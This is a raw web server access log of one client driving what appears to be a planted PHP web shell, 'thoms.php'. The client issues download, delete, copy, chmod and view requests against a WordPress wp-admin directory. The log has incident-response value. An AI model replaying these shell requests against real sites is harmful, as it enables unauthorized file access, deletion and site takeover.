45.135.193.11 - - [11/Sep/2026:23:35:05 -0400] "GET /thoms.php?dl=edit-link-form.php&p=betcity.com.tw%2Fwp-admin HTTP/1.1" 200 28902 "http://163.245.207.76:443/thoms.php?dl=edit-link-form.php&p=betcity.com.tw%2Fwp-admin" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:35:05 -0400] "GET /betcity.com.tw/wp-admin/erase-personal-data.php HTTP/1.1" 302 0 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:35:06 -0400] "GET /thoms.php?copy=betcity.com.tw%2Fwp-admin%2Fplugin-install.php&p=betcity.com.tw%2Fwp-admin HTTP/1.1" 200 11472 "http://163.245.207.76:443/thoms.php?copy=betcity.com.tw%2Fwp-admin%2Fplugin-install.php&p=betcity.com.tw%2Fwp-admin" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:35:06 -0400] "GET /thoms.php?copy=betcity.com.tw%2Fwp-admin%2Ftheme-editor.php&p=betcity.com.tw%2Fwp-admin HTTP/1.1" 200 11467 "http://163.245.207.76:443/thoms.php?copy=betcity.com.tw%2Fwp-admin%2Ftheme-editor.php&p=betcity.com.tw%2Fwp-admin" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:35:06 -0400] "GET /betcity.com.tw/wp-admin/comment.php HTTP/1.1" 302 0 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:35:06 -0400] "GET /thoms.php?copy=betcity.com.tw%2Fwp-admin%2Fmedia.php&p=betcity.com.tw%2Fwp-admin HTTP/1.1" 200 11465 "http://163.245.207.76:443/thoms.php?copy=betcity.com.tw%2Fwp-admin%2Fmedia.php&p=betcity.com.tw%2Fwp-admin" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:35:06 -0400] "GET /thoms.php?copy=betcity.com.tw%2Fwp-admin%2Foptions-head.php&p=betcity.com.tw%2Fwp-admin HTTP/1.1" 200 11467 "http://163.245.207.76:443/thoms.php?copy=betcity.com.tw%2Fwp-admin%2Foptions-head.php&p=betcity.com.tw%2Fwp-admin" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:35:06 -0400] "GET /thoms.php?p=betcity.com.tw%2Fwp-admin&view=ms-admin.php HTTP/1.1" 200 12007 "http://163.245.207.76:443/thoms.php?p=betcity.com.tw%2Fwp-admin&view=ms-admin.php" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:35:06 -0400] "GET /thoms.php?chmod=ms-upgrade-network.php&p=betcity.com.tw%2Fwp-admin HTTP/1.1" 200 11527 "http://163.245.207.76:443/thoms.php?chmod=ms-upgrade-network.php&p=betcity.com.tw%2Fwp-admin" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:35:06 -0400] "GET /thoms.php?del=options-media.php&p=betcity.com.tw%2Fwp-admin HTTP/1.1" 200 28903 "http://163.245.207.76:443/thoms.php?del=options-media.php&p=betcity.com.tw%2Fwp-admin" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:35:06 -0400] "GET /thoms.php?p=betcity.com.tw%2Fwp-admin&view=press-this.php HTTP/1.1" 200 13033 "http://163.245.207.76:443/thoms.php?p=betcity.com.tw%2Fwp-admin&view=press-this.php" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:35:06 -0400] "GET /thoms.php?copy=betcity.com.tw%2Fwp-admin%2Fprivacy-policy-guide.php&p=betcity.com.tw%2Fwp-admin HTTP/1.1" 200 11480 "http://163.245.207.76:443/thoms.php?copy=betcity.com.tw%2Fwp-admin%2Fprivacy-policy-guide.php&p=betcity.com.tw%2Fwp-admin" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:35:06 -0400] "GET /thoms.php?copy=betcity.com.tw%2Fwp-admin%2Fwidgets-form-blocks.php&p=betcity.com.tw%2Fwp-admin HTTP/1.1" 200 11474 "http://163.245.207.76:443/thoms.php?copy=betcity.com.tw%2Fwp-admin%2Fwidgets-form-blocks.php&p=betcity.com.tw%2Fwp-admin" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:35:06 -0400] "GET /thoms.php?copy=betcity.com.tw%2Fwp-admin%2Fexport.php&p=betcity.com.tw%2Fwp-admin HTTP/1.1" 200 11419 "http://163.245.207.76:443/thoms.php?copy=betcity.com.tw%2Fwp-admin%2Fexport.php&p=betcity.com.tw%2Fwp-admin" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:35:06 -0400] "GET /thoms.php?p=betcity.com.tw%2Fwp-admin&view=menu.php HTTP/1.1" 200 17609 "http://163.245.207.76:443/thoms.php?p=betcity.com.tw%2Fwp-admin&view=menu.php" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:35:07 -0400] "GET /thoms.php?chmod=upload.php&p=betcity.com.tw%2Fwp-admin HTTP/1.1" 200 11503 "http://163.245.207.76:443/thoms.php?chmod=upload.php&p=betcity.com.tw%2Fwp-admin" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:35:07 -0400] "GET /thoms.php?del=css&p=betcity.com.tw%2Fwp-admin HTTP/1.1" 200 28902 "http://163.245.207.76:443/thoms.php?del=css&p=betcity.com.tw%2Fwp-admin" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:35:07 -0400] "GET /thoms.php?p=betcity.com.tw%2Fwp-admin&view=freedoms.php HTTP/1.1" 200 13708 "http://163.245.207.76:443/thoms.php?p=betcity.com.tw%2Fwp-admin&view=freedoms.php" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:35:07 -0400] "GET /thoms.php?chmod=revision.php&p=betcity.com.tw%2Fwp-admin HTTP/1.1" 200 11521 "http://163.245.207.76:443/thoms.php?chmod=revision.php&p=betcity.com.tw%2Fwp-admin" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:35:07 -0400] "GET /thoms.php?dl=privacy.php&p=betcity.com.tw%2Fwp-admin HTTP/1.1" 200 28901 "http://163.245.207.76:443/thoms.php?dl=privacy.php&p=betcity.com.tw%2Fwp-admin" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:35:07 -0400] "GET /thoms.php?p=betcity.com.tw%2Fwp-admin&view=tools.php HTTP/1.1" 200 13448 "http://163.245.207.76:443/thoms.php?p=betcity.com.tw%2Fwp-admin&view=tools.php" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:35:07 -0400] "GET /thoms.php?p=betcity.com.tw%2Fwp-admin&view=widgets.php HTTP/1.1" 200 12479 "http://163.245.207.76:443/thoms.php?p=betcity.com.tw%2Fwp-admin&view=widgets.php" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:35:07 -0400] "GET /thoms.php?del=install.php&p=betcity.com.tw%2Fwp-admin HTTP/1.1" 200 28900 "http://163.245.207.76:443/thoms.php?del=install.php&p=betcity.com.tw%2Fwp-admin" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:35:07 -0400] "GET /thoms.php?p=betcity.com.tw%2Fwp-admin&view=ms-upgrade-network.php HTTP/1.1" 200 12042 "http://163.245.207.76:443/thoms.php?p=betcity.com.tw%2Fwp-admin&view=ms-upgrade-network.php" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:35:07 -0400] "GET /thoms.php?dl=link-parse-opml.php&p=betcity.com.tw%2Fwp-admin HTTP/1.1" 200 28904 "http://163.245.207.76:443/thoms.php?dl=link-parse-opml.php&p=betcity.com.tw%2Fwp-admin" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:35:07 -0400] "GET /thoms.php?del=network.php&p=betcity.com.tw%2Fwp-admin HTTP/1.1" 200 28902 "http://163.245.207.76:443/thoms.php?del=network.php&p=betcity.com.tw%2Fwp-admin" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:35:07 -0400] "GET /thoms.php?p=betcity.com.tw%2Fwp-admin&view=setup-config.php HTTP/1.1" 200 18786 "http://163.245.207.76:443/thoms.php?p=betcity.com.tw%2Fwp-admin&view=setup-config.php" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:35:08 -0400] "GET /thoms.php?p=betcity.com.tw%2Fwp-admin&view=comment.php HTTP/1.1" 200 15908 "http://163.245.207.76:443/thoms.php?p=betcity.com.tw%2Fwp-admin&view=comment.php" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:35:08 -0400] "GET /thoms.php?del=widgets-form-blocks.php&p=betcity.com.tw%2Fwp-admin HTTP/1.1" 200 28901 "http://163.245.207.76:443/thoms.php?del=widgets-form-blocks.php&p=betcity.com.tw%2Fwp-admin" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:35:08 -0400] "GET /thoms.php?copy=betcity.com.tw%2Fwp-admin%2Fabout.php&p=betcity.com.tw%2Fwp-admin HTTP/1.1" 200 11455 "http://163.245.207.76:443/thoms.php?copy=betcity.com.tw%2Fwp-admin%2Fabout.php&p=betcity.com.tw%2Fwp-admin" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:35:08 -0400] "GET /thoms.php?chmod=customize.php&p=betcity.com.tw%2Fwp-admin HTTP/1.1" 200 11505 "http://163.245.207.76:443/thoms.php?chmod=customize.php&p=betcity.com.tw%2Fwp-admin" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:35:08 -0400] "GET /thoms.php?p=betcity.com.tw%2Fwp-admin%2Fincludes HTTP/1.1" 200 30201 "http://163.245.207.76:443/thoms.php?p=betcity.com.tw%2Fwp-admin%2Fincludes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:35:08 -0400] "GET /betcity.com.tw/wp-admin/options-reading.php HTTP/1.1" 302 0 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:35:08 -0400] "GET /betcity.com.tw/wp-admin/media.php HTTP/1.1" 302 0 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:35:08 -0400] "GET /thoms.php?chmod=upgrade-functions.php&p=betcity.com.tw%2Fwp-admin HTTP/1.1" 200 11520 "http://163.245.207.76:443/thoms.php?chmod=upgrade-functions.php&p=betcity.com.tw%2Fwp-admin" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:35:08 -0400] "GET /thoms.php?del=freedoms.php&p=betcity.com.tw%2Fwp-admin HTTP/1.1" 200 28901 "http://163.245.207.76:443/thoms.php?del=freedoms.php&p=betcity.com.tw%2Fwp-admin" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:35:08 -0400] "GET /thoms.php?p=betcity.com.tw%2Fwp-admin&view=custom-header.php HTTP/1.1" 200 12156 "http://163.245.207.76:443/thoms.php?p=betcity.com.tw%2Fwp-admin&view=custom-header.php" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:35:08 -0400] "GET /thoms.php?chmod=press-this.php&p=betcity.com.tw%2Fwp-admin HTTP/1.1" 200 11521 "http://163.245.207.76:443/thoms.php?chmod=press-this.php&p=betcity.com.tw%2Fwp-admin" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:35:08 -0400] "GET /thoms.php?p=betcity.com.tw%2Fwp-admin&view=import.php HTTP/1.1" 200 15051 "http://163.245.207.76:443/thoms.php?p=betcity.com.tw%2Fwp-admin&view=import.php" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:35:09 -0400] "GET /thoms.php?chmod=about.php&p=betcity.com.tw%2Fwp-admin HTTP/1.1" 200 11516 "http://163.245.207.76:443/thoms.php?chmod=about.php&p=betcity.com.tw%2Fwp-admin" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:35:09 -0400] "GET /thoms.php?dl=tools.php&p=betcity.com.tw%2Fwp-admin HTTP/1.1" 200 28899 "http://163.245.207.76:443/thoms.php?dl=tools.php&p=betcity.com.tw%2Fwp-admin" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:35:09 -0400] "GET /betcity.com.tw/wp-admin/export.php HTTP/1.1" 302 0 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:35:09 -0400] "GET /thoms.php?del=user-edit.php&p=betcity.com.tw%2Fwp-admin HTTP/1.1" 200 28902 "http://163.245.207.76:443/thoms.php?del=user-edit.php&p=betcity.com.tw%2Fwp-admin" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:35:09 -0400] "GET /thoms.php?dl=ms-themes.php&p=betcity.com.tw%2Fwp-admin HTTP/1.1" 200 28902 "http://163.245.207.76:443/thoms.php?dl=ms-themes.php&p=betcity.com.tw%2Fwp-admin" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:35:09 -0400] "GET /thoms.php?dl=themes.php&p=betcity.com.tw%2Fwp-admin HTTP/1.1" 200 28902 "http://163.245.207.76:443/thoms.php?dl=themes.php&p=betcity.com.tw%2Fwp-admin" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:35:09 -0400] "GET /thoms.php?dl=setup-config.php&p=betcity.com.tw%2Fwp-admin HTTP/1.1" 200 28902 "http://163.245.207.76:443/thoms.php?dl=setup-config.php&p=betcity.com.tw%2Fwp-admin" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:35:09 -0400] "GET /thoms.php?p=betcity.com.tw%2Fwp-admin&view=media-new.php HTTP/1.1" 200 13489 "http://163.245.207.76:443/thoms.php?p=betcity.com.tw%2Fwp-admin&view=media-new.php" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:35:09 -0400] "GET /thoms.php?p=betcity.com.tw%2Fwp-admin&view=moderation.php HTTP/1.1" 200 12051 "http://163.245.207.76:443/thoms.php?p=betcity.com.tw%2Fwp-admin&view=moderation.php" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:35:09 -0400] "GET /betcity.com.tw/wp-admin/options-discussion.php HTTP/1.1" 302 0 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:35:10 -0400] "GET /thoms.php?p=betcity.com.tw%2Fwp-admin&view=user-new.php HTTP/1.1" 200 20035 "http://163.245.207.76:443/thoms.php?p=betcity.com.tw%2Fwp-admin&view=user-new.php" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:35:10 -0400] "GET /thoms.php?chmod=link-parse-opml.php&p=betcity.com.tw%2Fwp-admin HTTP/1.1" 200 11523 "http://163.245.207.76:443/thoms.php?chmod=link-parse-opml.php&p=betcity.com.tw%2Fwp-admin" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:35:10 -0400] "GET /thoms.php?del=edit-tags.php&p=betcity.com.tw%2Fwp-admin HTTP/1.1" 200 28904 "http://163.245.207.76:443/thoms.php?del=edit-tags.php&p=betcity.com.tw%2Fwp-admin" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:35:10 -0400] "GET /betcity.com.tw/wp-admin/options-connectors.php HTTP/1.1" 302 0 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:35:10 -0400] "GET /thoms.php?p=betcity.com.tw%2Fwp-admin&view=menu-header.php HTTP/1.1" 200 15382 "http://163.245.207.76:443/thoms.php?p=betcity.com.tw%2Fwp-admin&view=menu-header.php" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:35:10 -0400] "GET /thoms.php?del=link.php&p=betcity.com.tw%2Fwp-admin HTTP/1.1" 200 28900 "http://163.245.207.76:443/thoms.php?del=link.php&p=betcity.com.tw%2Fwp-admin" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:35:10 -0400] "GET /thoms.php?chmod=css&p=betcity.com.tw%2Fwp-admin HTTP/1.1" 200 11510 "http://163.245.207.76:443/thoms.php?chmod=css&p=betcity.com.tw%2Fwp-admin" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:35:10 -0400] "GET /thoms.php?copy=betcity.com.tw%2Fwp-admin%2Flink-parse-opml.php&p=betcity.com.tw%2Fwp-admin HTTP/1.1" 200 11475 "http://163.245.207.76:443/thoms.php?copy=betcity.com.tw%2Fwp-admin%2Flink-parse-opml.php&p=betcity.com.tw%2Fwp-admin" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:35:10 -0400] "GET /thoms.php?p=betcity.com.tw%2Fwp-admin&view=ms-options.php HTTP/1.1" 200 12015 "http://163.245.207.76:443/thoms.php?p=betcity.com.tw%2Fwp-admin&view=ms-options.php" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:35:10 -0400] "GET /thoms.php?del=update.php&p=betcity.com.tw%2Fwp-admin HTTP/1.1" 200 28901 "http://163.245.207.76:443/thoms.php?del=update.php&p=betcity.com.tw%2Fwp-admin" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:35:10 -0400] "GET /thoms.php?chmod=edit-form-advanced.php&p=betcity.com.tw%2Fwp-admin HTTP/1.1" 200 11526 "http://163.245.207.76:443/thoms.php?chmod=edit-form-advanced.php&p=betcity.com.tw%2Fwp-admin" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:35:10 -0400] "GET /thoms.php?p=betcity.com.tw%2Fwp-admin&view=install-helper.php HTTP/1.1" 200 14048 "http://163.245.207.76:443/thoms.php?p=betcity.com.tw%2Fwp-admin&view=install-helper.php" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:35:10 -0400] "GET /thoms.php?dl=widgets.php&p=betcity.com.tw%2Fwp-admin HTTP/1.1" 200 28902 "http://163.245.207.76:443/thoms.php?dl=widgets.php&p=betcity.com.tw%2Fwp-admin" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:35:11 -0400] "GET /thoms.php?copy=betcity.com.tw%2Fwp-admin%2Finstall-helper.php&p=betcity.com.tw%2Fwp-admin HTTP/1.1" 200 11473 "http://163.245.207.76:443/thoms.php?copy=betcity.com.tw%2Fwp-admin%2Finstall-helper.php&p=betcity.com.tw%2Fwp-admin" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:35:11 -0400] "GET /thoms.php?p=betcity.com.tw%2Fwp-admin&view=site-editor.php HTTP/1.1" 200 16099 "http://163.245.207.76:443/thoms.php?p=betcity.com.tw%2Fwp-admin&view=site-editor.php" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:35:11 -0400] "GET /thoms.php?copy=betcity.com.tw%2Fwp-admin%2Fwidgets-form.php&p=betcity.com.tw%2Fwp-admin HTTP/1.1" 200 11459 "http://163.245.207.76:443/thoms.php?copy=betcity.com.tw%2Fwp-admin%2Fwidgets-form.php&p=betcity.com.tw%2Fwp-admin" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:35:11 -0400] "GET /thoms.php?p=betcity.com.tw%2Fwp-admin&view=options-reading.php HTTP/1.1" 200 15546 "http://163.245.207.76:443/thoms.php?p=betcity.com.tw%2Fwp-admin&view=options-reading.php" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:35:11 -0400] "GET /thoms.php?dl=media.php&p=betcity.com.tw%2Fwp-admin HTTP/1.1" 200 28901 "http://163.245.207.76:443/thoms.php?dl=media.php&p=betcity.com.tw%2Fwp-admin" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:35:11 -0400] "GET /thoms.php?chmod=update-core.php&p=betcity.com.tw%2Fwp-admin HTTP/1.1" 200 11510 "http://163.245.207.76:443/thoms.php?chmod=update-core.php&p=betcity.com.tw%2Fwp-admin" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:35:11 -0400] "GET /thoms.php?del=site-editor.php&p=betcity.com.tw%2Fwp-admin HTTP/1.1" 200 28902 "http://163.245.207.76:443/thoms.php?del=site-editor.php&p=betcity.com.tw%2Fwp-admin" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:35:11 -0400] "GET /thoms.php?p=betcity.com.tw%2Fwp-admin&view=users.php HTTP/1.1" 200 19520 "http://163.245.207.76:443/thoms.php?p=betcity.com.tw%2Fwp-admin&view=users.php" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:35:11 -0400] "GET /thoms.php?chmod=custom-background.php&p=betcity.com.tw%2Fwp-admin HTTP/1.1" 200 11516 "http://163.245.207.76:443/thoms.php?chmod=custom-background.php&p=betcity.com.tw%2Fwp-admin" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:35:11 -0400] "GET /thoms.php?chmod=edit-tag-form.php&p=betcity.com.tw%2Fwp-admin HTTP/1.1" 200 11522 "http://163.245.207.76:443/thoms.php?chmod=edit-tag-form.php&p=betcity.com.tw%2Fwp-admin" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
